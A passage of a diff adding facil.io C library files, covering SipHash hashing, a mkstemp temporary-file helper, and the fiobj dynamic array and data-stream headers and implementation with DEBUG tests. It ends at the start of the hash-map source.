+      (((i)&0xFF0000ULL) << 24) | (((i)&0xFF000000ULL) << 8) |                 \
+      (((i)&0xFF00000000ULL) >> 8) | (((i)&0xFF0000000000ULL) >> 24) |         \
+      (((i)&0xFF000000000000ULL) >> 40) | (((i)&0xFF00000000000000ULL) >> 56)
+#else
+/* no need */
+#define sip_local64(i) (i)
+#endif
+
+/* 64Bit left rotation, inlined. */
+#define lrot64(i, bits)                                                        \
+  (((uint64_t)(i) << (bits)) | ((uint64_t)(i) >> (64 - (bits))))
+
+static inline uint64_t fio_siphash_xy(const void *data, size_t len, size_t x,
+                                      size_t y, uint64_t key1, uint64_t key2) {
+  /* initialize the 4 words */
+  uint64_t v0 = (0x0706050403020100ULL ^ 0x736f6d6570736575ULL) ^ key1;
+  uint64_t v1 = (0x0f0e0d0c0b0a0908ULL ^ 0x646f72616e646f6dULL) ^ key2;
+  uint64_t v2 = (0x0706050403020100ULL ^ 0x6c7967656e657261ULL) ^ key1;
+  uint64_t v3 = (0x0f0e0d0c0b0a0908ULL ^ 0x7465646279746573ULL) ^ key2;
+  const uint64_t *w64 = data;
+  uint8_t len_mod = len & 255;
+  union {
+    uint64_t i;
+    uint8_t str[8];
+  } word;
+
+#define hash_map_SipRound                                                      \
+  do {                                                                         \
+    v2 += v3;                                                                  \
+    v3 = lrot64(v3, 16) ^ v2;                                                  \
+    v0 += v1;                                                                  \
+    v1 = lrot64(v1, 13) ^ v0;                                                  \
+    v0 = lrot64(v0, 32);                                                       \
+    v2 += v1;                                                                  \
+    v0 += v3;                                                                  \
+    v1 = lrot64(v1, 17) ^ v2;                                                  \
+    v3 = lrot64(v3, 21) ^ v0;                                                  \
+    v2 = lrot64(v2, 32);                                                       \
+  } while (0);
+
+  while (len >= 8) {
+    word.i = sip_local64(*w64);
+    v3 ^= word.i;
+    /* Sip Rounds */
+    for (size_t i = 0; i < x; ++i) {
+      hash_map_SipRound;
+    }
+    v0 ^= word.i;
+    w64 += 1;
+    len -= 8;
+  }
+  word.i = 0;
+  uint8_t *pos = word.str;
+  uint8_t *w8 = (void *)w64;
+  switch (len) { /* fallthrough is intentional */
+  case 7:
+    pos[6] = w8[6];
+    /* fallthrough */
+  case 6:
+    pos[5] = w8[5];
+    /* fallthrough */
+  case 5:
+    pos[4] = w8[4];
+    /* fallthrough */
+  case 4:
+    pos[3] = w8[3];
+    /* fallthrough */
+  case 3:
+    pos[2] = w8[2];
+    /* fallthrough */
+  case 2:
+    pos[1] = w8[1];
+    /* fallthrough */
+  case 1:
+    pos[0] = w8[0];
+  }
+  word.str[7] = len_mod;
+
+  /* last round */
+  v3 ^= word.i;
+  hash_map_SipRound;
+  hash_map_SipRound;
+  v0 ^= word.i;
+  /* Finalization */
+  v2 ^= 0xff;
+  /* d iterations of SipRound */
+  for (size_t i = 0; i < y; ++i) {
+    hash_map_SipRound;
+  }
+  hash_map_SipRound;
+  hash_map_SipRound;
+  hash_map_SipRound;
+  hash_map_SipRound;
+  /* XOR it all together */
+  v0 ^= v1 ^ v2 ^ v3;
+#undef hash_map_SipRound
+  return v0;
+}
+
+#pragma weak fio_siphash24
+uint64_t __attribute__((weak))
+fio_siphash24(const void *data, size_t len, uint64_t key1, uint64_t key2) {
+  return fio_siphash_xy(data, len, 2, 4, key1, key2);
+}
+
+#pragma weak fio_siphash13
+uint64_t __attribute__((weak))
+fio_siphash13(const void *data, size_t len, uint64_t key1, uint64_t key2) {
+  return fio_siphash_xy(data, len, 1, 3, key1, key2);
+}
+
+#if DEBUG
+#include <stdio.h>
+#include <string.h>
+#include <time.h>
+
+void fiobj_siphash_test(void) {
+  fprintf(stderr, "===================================\n");
+  // fio_siphash_speed_test();
+  uint64_t result = 0;
+  clock_t start;
+  start = clock();
+  for (size_t i = 0; i < 100000; i++) {
+    char *data = "The quick brown fox jumps over the lazy dog ";
+    __asm__ volatile("" ::: "memory");
+    result += fio_siphash_xy(data, 43, 1, 3, 0, 0);
+  }
+  fprintf(stderr, "fio 100K SipHash: %lf\n",
+          (double)(clock() - start) / CLOCKS_PER_SEC);
+}
+#endif

facil.io/lib/facil/fiobj/fio_siphash.h

@@ -0,0 +1,37 @@
+#ifndef H_FIO_SIPHASH_H
+#define H_FIO_SIPHASH_H
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <stdint.h>
+#include <sys/types.h>
+
+/**
+ * A SipHash variation (2-4).
+ */
+uint64_t fio_siphash24(const void *data, size_t len, uint64_t key1,
+                       uint64_t key2);
+
+/**
+ * A SipHash 1-3 variation.
+ */
+uint64_t fio_siphash13(const void *data, size_t len, uint64_t key1,
+                       uint64_t key2);
+
+/**
+ * The Hashing function used by dynamic facil.io objects.
+ *
+ * Currently implemented using SipHash 1-3.
+ */
+#define fio_siphash(data, length, k1, k2)                                      \
+  fio_siphash13((data), (length), (k1), (k2))
+
+#if DEBUG
+void fiobj_siphash_test(void);
+#else
+#define fiobj_siphash_test()
+#endif
+
+#endif /* H_FIO_SIPHASH_H */

facil.io/lib/facil/fiobj/fio_tmpfile.h

@@ -0,0 +1,38 @@
+/*
+Copyright: Boaz Segev, 2018-2019
+License: MIT
+*/
+#ifndef H_FIO_TMPFILE_H
+/** a simple helper to create temporary files and file names */
+#define H_FIO_TMPFILE_H
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+static inline int fio_tmpfile(void) {
+  // create a temporary file to contain the data.
+  int fd = 0;
+#ifdef P_tmpdir
+  if (P_tmpdir[sizeof(P_tmpdir) - 1] == '/') {
+    char name_template[] = P_tmpdir "facil_io_tmpfile_XXXXXXXX";
+    fd = mkstemp(name_template);
+  } else {
+    char name_template[] = P_tmpdir "/facil_io_tmpfile_XXXXXXXX";
+    fd = mkstemp(name_template);
+  }
+#else
+  char name_template[] = "/tmp/facil_io_tmpfile_XXXXXXXX";
+  fd = mkstemp(name_template);
+#endif
+  return fd;
+}
+#endif

facil.io/lib/facil/fiobj/fiobj.h

@@ -0,0 +1,44 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+#ifndef H_FIOBJ_H
+#define H_FIOBJ_H
+
+#include <fiobj_ary.h>
+#include <fiobj_data.h>
+#include <fiobj_hash.h>
+#include <fiobj_json.h>
+#include <fiobj_mustache.h>
+#include <fiobj_numbers.h>
+#include <fiobj_str.h>
+#include <fiobject.h>
+
+#include <fio_siphash.h>
+
+#ifdef H_FACIL_IO_H
+#include <fiobj4fio.h>
+#endif
+
+#if DEBUG
+FIO_INLINE void fiobj_test(void) {
+  fprintf(stderr, "\n=== FIOBJ Tests ===\n\n");
+  fiobj_test_string();
+  fiobj_test_numbers();
+  fiobj_test_array();
+  fiobj_test_hash();
+  fiobj_test_core();
+  fiobj_data_test();
+  fiobj_test_json();
+  fiobj_mustache_test();
+  fiobj_siphash_test();
+  fprintf(stderr, "=== FIOBJ Done ===\n\n");
+}
+#else
+FIO_INLINE void fiobj_test(void) {
+  fprintf(stderr, "ERROR: tesing functions only defined with DEBUG=1\n");
+  exit(-1);
+}
+#endif
+#undef FIO_INLINE
+#endif

facil.io/lib/facil/fiobj/fiobj4fio.h

@@ -0,0 +1,21 @@
+#ifndef H_FIOBJ4SOCK_H
+#define H_FIOBJ4SOCK_H
+/**
+ * Defines a helper for using fiobj with the sock library.
+ */
+
+#include <fio.h>
+#include <fiobj.h>
+
+static void fiobj4sock_dealloc(void *o) { fiobj_free((FIOBJ)o); }
+
+/** send a FIOBJ  object through a socket. */
+static inline __attribute__((unused)) ssize_t fiobj_send_free(intptr_t uuid,
+                                                              FIOBJ o) {
+  fio_str_info_s s = fiobj_obj2cstr(o);
+  return fio_write2(uuid, .data.buffer = (void *)(o),
+                    .offset = (uintptr_t)(((intptr_t)s.data) - ((intptr_t)(o))),
+                    .length = s.len, .after.dealloc = fiobj4sock_dealloc);
+}
+
+#endif

facil.io/lib/facil/fiobj/fiobj_ary.c

@@ -0,0 +1,333 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+#include <fio.h>
+#include <fiobject.h>
+
+#define FIO_ARY_NAME fio_ary__
+#define FIO_ARY_TYPE FIOBJ
+#define FIO_ARY_TYPE_INVALID FIOBJ_INVALID
+#define FIO_ARY_TYPE_COMPARE(a, b) (fiobj_iseq((a), (b)))
+#define FIO_ARY_INVALID FIOBJ_INVALID
+#include <fio.h>
+
+#include <assert.h>
+
+/* *****************************************************************************
+Array Type
+***************************************************************************** */
+
+typedef struct {
+  fiobj_object_header_s head;
+  fio_ary___s ary;
+} fiobj_ary_s;
+
+#define obj2ary(o) ((fiobj_ary_s *)(o))
+
+/* *****************************************************************************
+VTable
+***************************************************************************** */
+
+static void fiobj_ary_dealloc(FIOBJ o, void (*task)(FIOBJ, void *), void *arg) {
+  FIO_ARY_FOR((&obj2ary(o)->ary), i) { task(*i, arg); }
+  fio_ary___free(&obj2ary(o)->ary);
+  fio_free(FIOBJ2PTR(o));
+}
+
+static size_t fiobj_ary_each1(FIOBJ o, size_t start_at,
+                              int (*task)(FIOBJ obj, void *arg), void *arg) {
+  return fio_ary___each(&obj2ary(o)->ary, start_at, task, arg);
+}
+
+static size_t fiobj_ary_is_eq(const FIOBJ self, const FIOBJ other) {
+  fio_ary___s *a = &obj2ary(self)->ary;
+  fio_ary___s *b = &obj2ary(other)->ary;
+  if (fio_ary___count(a) != fio_ary___count(b))
+    return 0;
+  return 1;
+}
+
+/** Returns the number of elements in the Array. */
+size_t fiobj_ary_count(const FIOBJ ary) {
+  assert(FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  return fio_ary___count(&obj2ary(ary)->ary);
+}
+
+static size_t fiobj_ary_is_true(const FIOBJ ary) {
+  return fiobj_ary_count(ary) > 0;
+}
+
+fio_str_info_s fiobject___noop_to_str(const FIOBJ o);
+intptr_t fiobject___noop_to_i(const FIOBJ o);
+double fiobject___noop_to_f(const FIOBJ o);
+
+const fiobj_object_vtable_s FIOBJECT_VTABLE_ARRAY = {
+    .class_name = "Array",
+    .dealloc = fiobj_ary_dealloc,
+    .is_eq = fiobj_ary_is_eq,
+    .is_true = fiobj_ary_is_true,
+    .count = fiobj_ary_count,
+    .each = fiobj_ary_each1,
+    .to_i = fiobject___noop_to_i,
+    .to_f = fiobject___noop_to_f,
+    .to_str = fiobject___noop_to_str,
+};
+
+/* *****************************************************************************
+Allocation
+***************************************************************************** */
+
+static inline FIOBJ fiobj_ary_alloc(size_t capa) {
+  fiobj_ary_s *ary = fio_malloc(sizeof(*ary));
+  if (!ary) {
+    perror("ERROR: fiobj array couldn't allocate memory");
+    exit(errno);
+  }
+  *ary = (fiobj_ary_s){
+      .head =
+          {
+              .ref = 1,
+              .type = FIOBJ_T_ARRAY,
+          },
+  };
+  if (capa)
+    fio_ary_____require_on_top(&ary->ary, capa);
+  return (FIOBJ)ary;
+}
+
+/** Creates a mutable empty Array object. Use `fiobj_free` when done. */
+FIOBJ fiobj_ary_new(void) { return fiobj_ary_alloc(0); }
+/** Creates a mutable empty Array object with the requested capacity. */
+FIOBJ fiobj_ary_new2(size_t capa) { return fiobj_ary_alloc(capa); }
+
+/* *****************************************************************************
+Array direct entry access API
+***************************************************************************** */
+
+/** Returns the current, temporary, array capacity (it's dynamic). */
+size_t fiobj_ary_capa(FIOBJ ary) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  return fio_ary___capa(&obj2ary(ary)->ary);
+}
+
+/**
+ * Returns a TEMPORARY pointer to the beginning of the array.
+ *
+ * This pointer can be used for sorting and other direct access operations as
+ * long as no other actions (insertion/deletion) are performed on the array.
+ */
+FIOBJ *fiobj_ary2ptr(FIOBJ ary) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  return (FIOBJ *)(obj2ary(ary)->ary.arry + obj2ary(ary)->ary.start);
+}
+
+/**
+ * Returns a temporary object owned by the Array.
+ *
+ * Negative values are retrieved from the end of the array. i.e., `-1`
+ * is the last item.
+ */
+FIOBJ fiobj_ary_index(FIOBJ ary, int64_t pos) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  return fio_ary___get(&obj2ary(ary)->ary, pos);
+}
+
+/**
+ * Sets an object at the requested position.
+ */
+void fiobj_ary_set(FIOBJ ary, FIOBJ obj, int64_t pos) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  FIOBJ old = FIOBJ_INVALID;
+  fio_ary___set(&obj2ary(ary)->ary, pos, obj, &old);
+  fiobj_free(old);
+}
+
+/* *****************************************************************************
+Array push / shift API
+***************************************************************************** */
+
+/**
+ * Pushes an object to the end of the Array.
+ */
+void fiobj_ary_push(FIOBJ ary, FIOBJ obj) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  fio_ary___push(&obj2ary(ary)->ary, obj);
+}
+
+/** Pops an object from the end of the Array. */
+FIOBJ fiobj_ary_pop(FIOBJ ary) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  FIOBJ ret = FIOBJ_INVALID;
+  fio_ary___pop(&obj2ary(ary)->ary, &ret);
+  return ret;
+}
+
+/**
+ * Unshifts an object to the beginning of the Array. This could be
+ * expensive.
+ */
+void fiobj_ary_unshift(FIOBJ ary, FIOBJ obj) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  fio_ary___unshift(&obj2ary(ary)->ary, obj);
+}
+
+/** Shifts an object from the beginning of the Array. */
+FIOBJ fiobj_ary_shift(FIOBJ ary) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  FIOBJ ret = FIOBJ_INVALID;
+  fio_ary___shift(&obj2ary(ary)->ary, &ret);
+  return ret;
+}
+
+/* *****************************************************************************
+Array Find / Remove / Replace
+***************************************************************************** */
+
+/**
+ * Replaces the object at a specific position, returning the old object -
+ * remember to `fiobj_free` the old object.
+ */
+FIOBJ fiobj_ary_replace(FIOBJ ary, FIOBJ obj, int64_t pos) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  FIOBJ old = fiobj_ary_index(ary, pos);
+  fiobj_ary_set(ary, obj, pos);
+  return old;
+}
+
+/**
+ * Finds the index of a specifide object (if any). Returns -1 if the object
+ * isn't found.
+ */
+int64_t fiobj_ary_find(FIOBJ ary, FIOBJ data) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  return (int64_t)fio_ary___find(&obj2ary(ary)->ary, data);
+}
+
+/**
+ * Removes the object at the index (if valid), changing the index of any
+ * following objects.
+ *
+ * Returns 0 on success or -1 (if no object or out of bounds).
+ */
+int fiobj_ary_remove(FIOBJ ary, int64_t pos) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  FIOBJ old = FIOBJ_INVALID;
+  if (fio_ary___remove(&obj2ary(ary)->ary, (intptr_t)pos, &old)) {
+    return -1;
+  }
+  fiobj_free(old);
+  return 0;
+}
+
+/**
+ * Removes the first instance of an object from the Array (if any), changing the
+ * index of any following objects.
+ *
+ * Returns 0 on success or -1 (if the object wasn't found).
+ */
+int fiobj_ary_remove2(FIOBJ ary, FIOBJ data) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  if (-1 == fio_ary___remove2(&obj2ary(ary)->ary, data, &data)) {
+    return -1;
+  }
+  fiobj_free(data);
+  return 0;
+}
+
+/* *****************************************************************************
+Array compacting (untested)
+***************************************************************************** */
+
+/**
+ * Removes any NULL *pointers* from an Array, keeping all Objects (including
+ * explicit NULL objects) in the array.
+ *
+ * This action is O(n) where n in the length of the array.
+ * It could get expensive.
+ */
+void fiobj_ary_compact(FIOBJ ary) {
+  assert(ary && FIOBJ_TYPE_IS(ary, FIOBJ_T_ARRAY));
+  fio_ary___compact(&obj2ary(ary)->ary);
+}
+
+/* *****************************************************************************
+Simple Tests
+***************************************************************************** */
+
+#if DEBUG
+void fiobj_test_array(void) {
+  fprintf(stderr, "=== Testing Array\n");
+#define TEST_ASSERT(cond, ...)                                                 \
+  if (!(cond)) {                                                               \
+    fprintf(stderr, "* " __VA_ARGS__);                                         \
+    fprintf(stderr, "Testing failed.\n");                                      \
+    exit(-1);                                                                  \
+  }
+  FIOBJ a = fiobj_ary_new2(4);
+  TEST_ASSERT(FIOBJ_TYPE_IS(a, FIOBJ_T_ARRAY), "Array type isn't an array!\n");
+  TEST_ASSERT(fiobj_ary_capa(a) > 4, "Array capacity ignored!\n");
+  fiobj_ary_push(a, fiobj_null());
+  TEST_ASSERT(fiobj_ary2ptr(a)[0] == fiobj_null(),
+              "Array direct access failed!\n");
+  fiobj_ary_push(a, fiobj_true());
+  fiobj_ary_push(a, fiobj_false());
+  TEST_ASSERT(fiobj_ary_count(a) == 3, "Array count isn't 3\n");
+  fiobj_ary_set(a, fiobj_true(), 63);
+  TEST_ASSERT(fiobj_ary_count(a) == 64, "Array count isn't 64 (%zu)\n",
+              fiobj_ary_count(a));
+  TEST_ASSERT(fiobj_ary_index(a, 0) == fiobj_null(),
+              "Array index retrival error for fiobj_null\n");
+  TEST_ASSERT(fiobj_ary_index(a, 1) == fiobj_true(),
+              "Array index retrival error for fiobj_true\n");
+  TEST_ASSERT(fiobj_ary_index(a, 2) == fiobj_false(),
+              "Array index retrival error for fiobj_false\n");
+  TEST_ASSERT(fiobj_ary_index(a, 3) == 0,
+              "Array index retrival error for NULL\n");
+  TEST_ASSERT(fiobj_ary_index(a, 63) == fiobj_true(),
+              "Array index retrival error for index 63\n");
+  TEST_ASSERT(fiobj_ary_index(a, -1) == fiobj_true(),
+              "Array index retrival error for index -1\n");
+  fiobj_ary_compact(a);
+  TEST_ASSERT(fiobj_ary_index(a, -1) == fiobj_true(),
+              "Array index retrival error for index -1\n");
+  TEST_ASSERT(fiobj_ary_count(a) == 4, "Array compact error\n");
+  fiobj_ary_unshift(a, fiobj_false());
+  TEST_ASSERT(fiobj_ary_count(a) == 5, "Array unshift error\n");
+  TEST_ASSERT(fiobj_ary_shift(a) == fiobj_false(), "Array shift value error\n");
+  TEST_ASSERT(fiobj_ary_replace(a, fiobj_true(), -2) == fiobj_false(),
+              "Array replace didn't return correct value\n");
+
+  FIO_ARY_FOR(&obj2ary(a)->ary, pos) {
+    if (*pos) {
+      fprintf(stderr, "%lu) %s\n", pos - obj2ary(a)->ary.arry,
+              fiobj_obj2cstr(*pos).data);
+    }
+  }
+
+  TEST_ASSERT(fiobj_ary_index(a, -2) == fiobj_true(),
+              "Array index retrival error for index -2 (should be true)\n");
+  TEST_ASSERT(fiobj_ary_count(a) == 4, "Array size error\n");
+  fiobj_ary_remove(a, -2);
+  TEST_ASSERT(fiobj_ary_count(a) == 3, "Array remove error\n");
+
+  FIO_ARY_FOR(&obj2ary(a)->ary, pos) {
+    if (*pos) {
+      fprintf(stderr, "%lu) %s\n", pos - obj2ary(a)->ary.arry,
+              fiobj_obj2cstr(*pos).data);
+    }
+  }
+
+  fiobj_ary_remove2(a, fiobj_true());
+  TEST_ASSERT(fiobj_ary_count(a) == 2, "Array remove2 error\n");
+  TEST_ASSERT(fiobj_ary_index(a, 0) == fiobj_null(),
+              "Array index 0 should be null - %s\n",
+              fiobj_obj2cstr(fiobj_ary_index(a, 0)).data);
+  TEST_ASSERT(fiobj_ary_index(a, 1) == fiobj_true(),
+              "Array index 0 should be true - %s\n",
+              fiobj_obj2cstr(fiobj_ary_index(a, 0)).data);
+
+  fiobj_free(a);
+  fprintf(stderr, "* passed.\n");
+}
+#endif

facil.io/lib/facil/fiobj/fiobj_ary.h

@@ -0,0 +1,139 @@
+#ifndef FIOBJ_ARRAY_H
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+
+/**
+A dynamic Array type for the fiobj_s dynamic type system.
+*/
+#define FIOBJ_ARRAY_H
+
+#include <fiobject.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* *****************************************************************************
+Array creation API
+***************************************************************************** */
+
+/** Creates a mutable empty Array object. Use `fiobj_free` when done. */
+FIOBJ fiobj_ary_new(void);
+
+/** Creates a mutable empty Array object with the requested capacity. */
+FIOBJ fiobj_ary_new2(size_t capa);
+
+/* *****************************************************************************
+Array direct entry access API
+***************************************************************************** */
+
+/** Returns the number of elements in the Array. */
+size_t fiobj_ary_count(FIOBJ ary);
+
+/** Returns the current, temporary, array capacity (it's dynamic). */
+size_t fiobj_ary_capa(FIOBJ ary);
+
+/**
+ * Returns a TEMPORARY pointer to the beginning of the array.
+ *
+ * This pointer can be used for sorting and other direct access operations as
+ * long as no other actions (insertion/deletion) are performed on the array.
+ */
+FIOBJ *fiobj_ary2ptr(FIOBJ ary);
+
+/**
+ * Returns a temporary object owned by the Array.
+ *
+ * Wrap this function call within `fiobj_dup` to get a persistent handle. i.e.:
+ *
+ *     fiobj_dup(fiobj_ary_index(array, 0));
+ *
+ * Negative values are retrieved from the end of the array. i.e., `-1`
+ * is the last item.
+ */
+FIOBJ fiobj_ary_index(FIOBJ ary, int64_t pos);
+/** alias for `fiobj_ary_index` */
+#define fiobj_ary_entry(a, p) fiobj_ary_index((a), (p))
+
+/**
+ * Sets an object at the requested position.
+ */
+void fiobj_ary_set(FIOBJ ary, FIOBJ obj, int64_t pos);
+
+/* *****************************************************************************
+Array push / shift API
+***************************************************************************** */
+
+/**
+ * Pushes an object to the end of the Array.
+ */
+void fiobj_ary_push(FIOBJ ary, FIOBJ obj);
+
+/** Pops an object from the end of the Array. */
+FIOBJ fiobj_ary_pop(FIOBJ ary);
+
+/**
+ * Unshifts an object to the beginning of the Array. This could be
+ * expensive.
+ */
+void fiobj_ary_unshift(FIOBJ ary, FIOBJ obj);
+
+/** Shifts an object from the beginning of the Array. */
+FIOBJ fiobj_ary_shift(FIOBJ ary);
+
+/* *****************************************************************************
+Array Find / Remove / Replace
+***************************************************************************** */
+
+/**
+ * Replaces the object at a specific position, returning the old object -
+ * remember to `fiobj_free` the old object.
+ */
+FIOBJ fiobj_ary_replace(FIOBJ ary, FIOBJ obj, int64_t pos);
+
+/**
+ * Finds the index of a specifide object (if any). Returns -1 if the object
+ * isn't found.
+ */
+int64_t fiobj_ary_find(FIOBJ ary, FIOBJ data);
+
+/**
+ * Removes the object at the index (if valid), changing the index of any
+ * following objects.
+ *
+ * Returns 0 on success or -1 (if no object or out of bounds).
+ */
+int fiobj_ary_remove(FIOBJ ary, int64_t pos);
+
+/**
+ * Removes the first instance of an object from the Array (if any), changing the
+ * index of any following objects.
+ *
+ * Returns 0 on success or -1 (if the object wasn't found).
+ */
+int fiobj_ary_remove2(FIOBJ ary, FIOBJ data);
+
+/* *****************************************************************************
+Array compacting (untested)
+***************************************************************************** */
+
+/**
+ * Removes any NULL *pointers* from an Array, keeping all Objects (including
+ * explicit NULL objects) in the array.
+ *
+ * This action is O(n) where n in the length of the array.
+ * It could get expensive.
+ */
+void fiobj_ary_compact(FIOBJ ary);
+
+#if DEBUG
+void fiobj_test_array(void);
+#endif
+
+#ifdef __cplusplus
+} /* extern "C" */
+#endif
+
+#endif

facil.io/lib/facil/fiobj/fiobj_data.h

@@ -0,0 +1,166 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+#if !defined(H_FIOBJ_IO_H) && (defined(__unix__) || defined(__APPLE__) ||      \
+                               defined(__linux__) || defined(__CYGWIN__))
+
+/**
+ * A dynamic type for reading / writing to a local file,  a temporary file or an
+ * in-memory string.
+ *
+ * Supports basic reak, write, seek, puts and gets operations.
+ *
+ * Writing is always performed at the end of the stream / memory buffer,
+ * ignoring the current seek position.
+ */
+#define H_FIOBJ_IO_H
+
+#include <fiobject.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* *****************************************************************************
+Creating the Data Stream object
+***************************************************************************** */
+
+/** Creates a new local in-memory Data Stream object */
+FIOBJ fiobj_data_newstr(void);
+
+/**
+ * Creates a Data object from an existing buffer. The buffer will be deallocated
+ * using the provided `dealloc` function pointer. Use a NULL `dealloc` function
+ * pointer if the buffer is static and shouldn't be freed.
+ */
+FIOBJ fiobj_data_newstr2(void *buffer, uintptr_t length,
+                         void (*dealloc)(void *));
+
+/** Creates a new local tempfile Data Stream object */
+FIOBJ fiobj_data_newtmpfile(void);
+
+/** Creates a new local file Data Stream object */
+FIOBJ fiobj_data_newfd(int fd);
+
+/** Creates a slice from an existing Data object. */
+FIOBJ fiobj_data_slice(FIOBJ parent, intptr_t offset, uintptr_t length);
+
+/* *****************************************************************************
+Saving the Data Stream object
+***************************************************************************** */
+
+/** Creates a new local file Data Stream object */
+int fiobj_data_save(FIOBJ io, const char *filename);
+
+/* *****************************************************************************
+Reading API
+***************************************************************************** */
+
+/**
+ * Reads up to `length` bytes and returns a temporary(!) buffer object (not NUL
+ * terminated).
+ *
+ * If `length` is zero or negative, it will be computed from the end of the
+ * input backwards (0 == EOF).
+ *
+ * The C string object will be invalidate the next time a function call to the
+ * Data Stream object is made.
+ */
+fio_str_info_s fiobj_data_read(FIOBJ io, intptr_t length);
+
+/**
+ * Reads until the `token` byte is encountered or until the end of the stream.
+ *
+ * Returns a temporary(!) C string including the end of line marker.
+ *
+ * Careful when using this call on large file streams, as the whole file
+ * stream might be loaded into the memory.
+ *
+ * The C string object will be invalidate the next time a function call to the
+ * Data Stream object is made.
+ */
+fio_str_info_s fiobj_data_read2ch(FIOBJ io, uint8_t token);
+
+/**
+ * Reads a line (until the '\n' byte is encountered) or until the end of the
+ * available data.
+ *
+ * Returns a temporary(!) buffer object (not NUL terminated) including the end
+ * of line marker.
+ *
+ * Careful when using this call on large file streams, as the whole file stream
+ * might be loaded into the memory.
+ *
+ * The C string object will be invalidate the next time a function call to the
+ * Data Stream object is made.
+ */
+#define fiobj_data_gets(io) fiobj_data_read2ch((io), '\n');
+
+/**
+ * Returns the current reading position. Returns -1 on error.
+ */
+intptr_t fiobj_data_pos(FIOBJ io);
+
+/**
+ * Returns the length of the stream.
+ */
+intptr_t fiobj_data_len(FIOBJ io);
+
+/**
+ * Moves the reading position to the requested position.
+ */
+void fiobj_data_seek(FIOBJ io, intptr_t position);
+
+/**
+ * Reads up to `length` bytes starting at `start_at` position and returns a
+ * temporary(!) buffer object (not NUL terminated) string object. The reading
+ * position is ignored and unchanged.
+ *
+ * The C string object will be invalidate the next time a function call to the
+ * Data Stream object is made.
+ */
+fio_str_info_s fiobj_data_pread(FIOBJ io, intptr_t start_at, uintptr_t length);
+
+/* *****************************************************************************
+Writing API
+***************************************************************************** */
+
+/**
+ * Writes `length` bytes at the end of the Data Stream stream, ignoring the
+ * reading position.
+ *
+ * Behaves and returns the same value as the system call `write`.
+ */
+intptr_t fiobj_data_write(FIOBJ io, void *buffer, uintptr_t length);
+
+/**
+ * Writes `length` bytes at the end of the Data Stream stream, ignoring the
+ * reading position, adding an EOL marker ("\r\n") to the end of the stream.
+ *
+ * Behaves and returns the same value as the system call `write`.
+ */
+intptr_t fiobj_data_puts(FIOBJ io, void *buffer, uintptr_t length);
+
+/**
+ * Makes sure the Data Stream object isn't attached to a static or external
+ * string.
+ *
+ * If the Data Stream object is attached to a static or external string, the
+ * data will be copied to a new memory block.
+ *
+ * If the Data Stream object is a slice from another Data Stream object, the
+ * data will be copied and the type of Data Stream object (memory vs. tmpfile)
+ * will be inherited.
+ */
+void fiobj_data_assert_dynamic(FIOBJ io);
+
+#if DEBUG
+void fiobj_data_test(void);
+#endif
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

facil.io/lib/facil/fiobj/fiobj_hash.c

@@ -0,0 +1,383 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+
+#include <fiobject.h>
+
+#include <assert.h>
+#include <fiobj_hash.h>
+
+#define FIO_SET_CALLOC(size, count) fio_calloc((size), (count))
+#define FIO_SET_REALLOC(ptr, original_size, size, valid_data_length)           \
+  fio_realloc2((ptr), (size), (valid_data_length))
+#define FIO_SET_FREE(ptr, size) fio_free((ptr))
+
+#define FIO_SET_NAME fio_hash__
+#define FIO_SET_KEY_TYPE FIOBJ
+#define FIO_SET_KEY_COMPARE(o1, o2)                                            \
+  ((o2) == ((FIOBJ)-1) || (o1) == ((FIOBJ)-1) || fiobj_iseq((o1), (o2)))
+#define FIO_SET_KEY_COPY(dest, obj) ((dest) = fiobj_dup((obj)))
+#define FIO_SET_KEY_DESTROY(obj)                                               \
+  do {                                                                         \
+    fiobj_free((obj));                                                         \
+    (obj) = FIOBJ_INVALID;                                                     \
+  } while (0)
+#define FIO_SET_OBJ_TYPE FIOBJ
+#define FIO_SET_OBJ_COMPARE(o1, o2) fiobj_iseq((o1), (o2))
+#define FIO_SET_OBJ_COPY(dest, obj) ((dest) = fiobj_dup(obj))
+#define FIO_SET_OBJ_DESTROY(obj)                                               \
+  do {                                                                         \
+    fiobj_free((obj));                                                         \
+    (obj) = FIOBJ_INVALID;                                                     \
+  } while (0)
+
+#include <fio.h>
+
+#include <errno.h>
+
+/* *****************************************************************************
+Hash types
+***************************************************************************** */
+typedef struct {
+  fiobj_object_header_s head;
+  fio_hash___s hash;
+} fiobj_hash_s;
+
+#define obj2hash(o) ((fiobj_hash_s *)(FIOBJ2PTR(o)))
+
+void fiobj_hash_rehash(FIOBJ h) {
+  assert(h && FIOBJ_TYPE_IS(h, FIOBJ_T_HASH));
+  fio_hash___rehash(&obj2hash(h)->hash);
+}
+
+/* *****************************************************************************
+Hash alloc + VTable
